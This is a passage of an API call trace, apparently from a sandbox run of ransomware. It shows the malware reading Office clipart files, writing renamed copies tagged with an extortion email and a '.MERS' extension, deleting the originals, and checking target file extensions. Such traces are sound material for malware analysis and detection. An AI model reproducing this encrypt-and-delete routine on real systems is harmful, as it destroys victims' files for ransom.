office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0272.943] GetLastError () returned 0x0 [0272.943] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x1370, lpOverlapped=0x0) returned 1 [0273.103] WriteFile (in: hFile=0x418, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0273.103] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.103] WriteFile (in: hFile=0x418, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.103] SetEndOfFile (hFile=0x418) returned 1 [0273.103] CloseHandle (hObject=0x418) returned 1 [0273.103] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.103] SetEndOfFile (hFile=0x3c4) returned 1 [0273.105] CloseHandle (hObject=0x3c4) returned 1 [0273.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0273.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0273.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0273.115] lstrlenW (lpString=".doc") returned 4 [0273.115] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.115] lstrlenW (lpString=".docx") returned 5 [0273.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.115] lstrlenW (lpString=".pdf") returned 4 [0273.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.115] lstrlenW (lpString=".xls") returned 4 [0273.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.115] lstrlenW (lpString=".xlsx") returned 5 [0273.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.115] lstrlenW (lpString=".ppt") returned 4 [0273.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0273.115] lstrlenW (lpString=".zip") returned 4 [0273.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.115] lstrlenW (lpString=".rar") returned 4 [0273.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.115] lstrlenW (lpString=".bz2") returned 4 [0273.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.115] lstrlenW (lpString=".7z") returned 3 [0273.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0273.115] lstrlenW (lpString=".dbf") returned 4 [0273.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0273.115] lstrlenW (lpString=".1cd") returned 4 [0273.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0273.115] lstrlenW (lpString=".jpg") returned 4 [0273.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0273.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0273.116] lstrlenW (lpString=".doc") returned 4 [0273.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.116] lstrlenW (lpString=".docx") returned 5 [0273.116] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.116] lstrlenW (lpString=".pdf") returned 4 [0273.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.116] lstrlenW (lpString=".xls") returned 4 [0273.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.116] lstrlenW (lpString=".xlsx") returned 5 [0273.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.116] lstrlenW (lpString=".ppt") returned 4 [0273.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0273.116] lstrlenW (lpString=".zip") returned 4 [0273.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.116] lstrlenW (lpString=".rar") returned 4 [0273.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.116] lstrlenW (lpString=".bz2") returned 4 [0273.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.116] lstrlenW (lpString=".7z") returned 3 [0273.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0273.116] lstrlenW (lpString=".dbf") returned 4 [0273.116] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0273.116] lstrlenW (lpString=".1cd") returned 4 [0273.116] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0273.116] lstrlenW (lpString=".jpg") returned 4 [0273.116] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.117] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.117] lstrlenW (lpString="BS00440_.WMF") returned 12 [0273.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0273.120] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=5580) returned 1 [0273.120] CloseHandle (hObject=0x410) returned 1 [0273.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20 [0273.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0273.121] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.121] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0273.121] GetLastError () returned 0x0 [0273.121] ReadFile (in: hFile=0x410, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x15cc, lpOverlapped=0x0) returned 1 [0273.127] WriteFile (in: hFile=0x3e8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x15d0, lpOverlapped=0x0) returned 1 [0273.128] ReadFile (in: hFile=0x410, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.128] WriteFile (in: hFile=0x3e8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.128] SetEndOfFile (hFile=0x3e8) returned 1 [0273.128] CloseHandle (hObject=0x3e8) returned 1 [0273.128] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.128] SetEndOfFile (hFile=0x410) returned 1 [0273.130] CloseHandle (hObject=0x410) returned 1 [0273.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0273.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0273.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0273.130] lstrlenW (lpString=".doc") returned 4 [0273.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.130] lstrlenW (lpString=".docx") returned 5 [0273.130] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.130] lstrlenW (lpString=".pdf") returned 4 [0273.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.130] lstrlenW (lpString=".xls") returned 4 [0273.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.130] lstrlenW (lpString=".xlsx") returned 5 [0273.130] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.130] lstrlenW (lpString=".ppt") returned 4 [0273.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0273.130] lstrlenW (lpString=".zip") returned 4 [0273.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.131] lstrlenW (lpString=".rar") returned 4 [0273.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.131] lstrlenW (lpString=".bz2") returned 4 [0273.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.131] lstrlenW (lpString=".7z") returned 3 [0273.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0273.131] lstrlenW (lpString=".dbf") returned 4 [0273.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0273.131] lstrlenW (lpString=".1cd") returned 4 [0273.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0273.131] lstrlenW (lpString=".jpg") returned 4 [0273.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0273.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0273.131] lstrlenW (lpString=".doc") returned 4 [0273.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.131] lstrlenW (lpString=".docx") returned 5 [0273.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.131] lstrlenW (lpString=".pdf") returned 4 [0273.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.131] lstrlenW (lpString=".xls") returned 4 [0273.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.131] lstrlenW (lpString=".xlsx") returned 5 [0273.131] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.131] lstrlenW (lpString=".ppt") returned 4 [0273.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0273.131] lstrlenW (lpString=".zip") returned 4 [0273.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.131] lstrlenW (lpString=".rar") returned 4 [0273.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.132] lstrlenW (lpString=".bz2") returned 4 [0273.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.132] lstrlenW (lpString=".7z") returned 3 [0273.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0273.132] lstrlenW (lpString=".dbf") returned 4 [0273.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0273.132] lstrlenW (lpString=".1cd") returned 4 [0273.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0273.132] lstrlenW (lpString=".jpg") returned 4 [0273.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.132] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.132] lstrlenW (lpString="BS00442_.WMF") returned 12 [0273.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0273.132] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=2488) returned 1 [0273.132] CloseHandle (hObject=0x410) returned 1 [0273.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20 [0273.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0273.133] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.133] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0273.133] GetLastError () returned 0x0 [0273.133] ReadFile (in: hFile=0x410, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0273.135] WriteFile (in: hFile=0x3e8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0273.135] ReadFile (in: hFile=0x410, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0273.135] WriteFile (in: hFile=0x3e8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0273.135] SetEndOfFile (hFile=0x3e8) returned 1 [0273.135] CloseHandle (hObject=0x3e8) returned 1 [0273.136] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.136] SetEndOfFile (hFile=0x410) returned 1 [0273.137] CloseHandle (hObject=0x410) returned 1 [0273.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0273.137] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 1 [0273.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0273.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0273.138] lstrlenW (lpString=".doc") returned 4 [0273.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.138] lstrlenW (lpString=".docx") returned 5 [0273.138] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.138] lstrlenW (lpString=".pdf") returned 4 [0273.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.138] lstrlenW (lpString=".xls") returned 4 [0273.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.138] lstrlenW (lpString=".xlsx") returned 5 [0273.138] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.138] lstrlenW (lpString=".ppt") returned 4 [0273.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0273.138] lstrlenW (lpString=".zip") returned 4 [0273.138] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.138] lstrlenW (lpString=".rar") returned 4 [0273.138] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.138] lstrlenW (lpString=".bz2") returned 4 [0273.138] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.138] lstrlenW (lpString=".7z") returned 3 [0273.138] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0273.138] lstrlenW (lpString=".dbf") returned 4 [0273.138] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0273.138] lstrlenW (lpString=".1cd") returned 4 [0273.138] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0273.138] lstrlenW (lpString=".jpg") returned 4 [0273.138] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0273.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0273.139] lstrlenW (lpString=".doc") returned 4 [0273.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString=".docx") returned 5 [0273.139] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0273.139] lstrlenW (lpString=".pdf") returned 4 [0273.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString=".xls") returned 4 [0273.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.139] lstrlenW (lpString=".xlsx") returned 5 [0273.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0273.139] lstrlenW (lpString=".ppt") returned 4 [0273.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0273.139] lstrlenW (lpString=".zip") returned 4 [0273.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.139] lstrlenW (lpString=".rar") returned 4 [0273.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString=".bz2") returned 4 [0273.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString=".7z") returned 3 [0273.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0273.139] lstrlenW (lpString=".dbf") returned 4 [0273.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0273.139] lstrlenW (lpString=".1cd") returned 4 [0273.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63 [0273.139] lstrlenW (lpString=".jpg") returned 4 [0273.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.140] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0273.140] lstrlenW (lpString="BS00443_.WMF") returned 12 [0273.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0273.140] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=1676) returned 1 [0273.140] CloseHandle (hObject=0x410) returned 1 [0273.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20 [0273.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0273.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0273.140] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.140] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0273.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0273.141] GetLastError () returned 0x0 [0273.141] ReadFile (in: hFile=0x410, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x68c, lpOverlapped=0x0) returned 1 [0273.246] WriteFile (in: hFile=0x3e8, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x690, 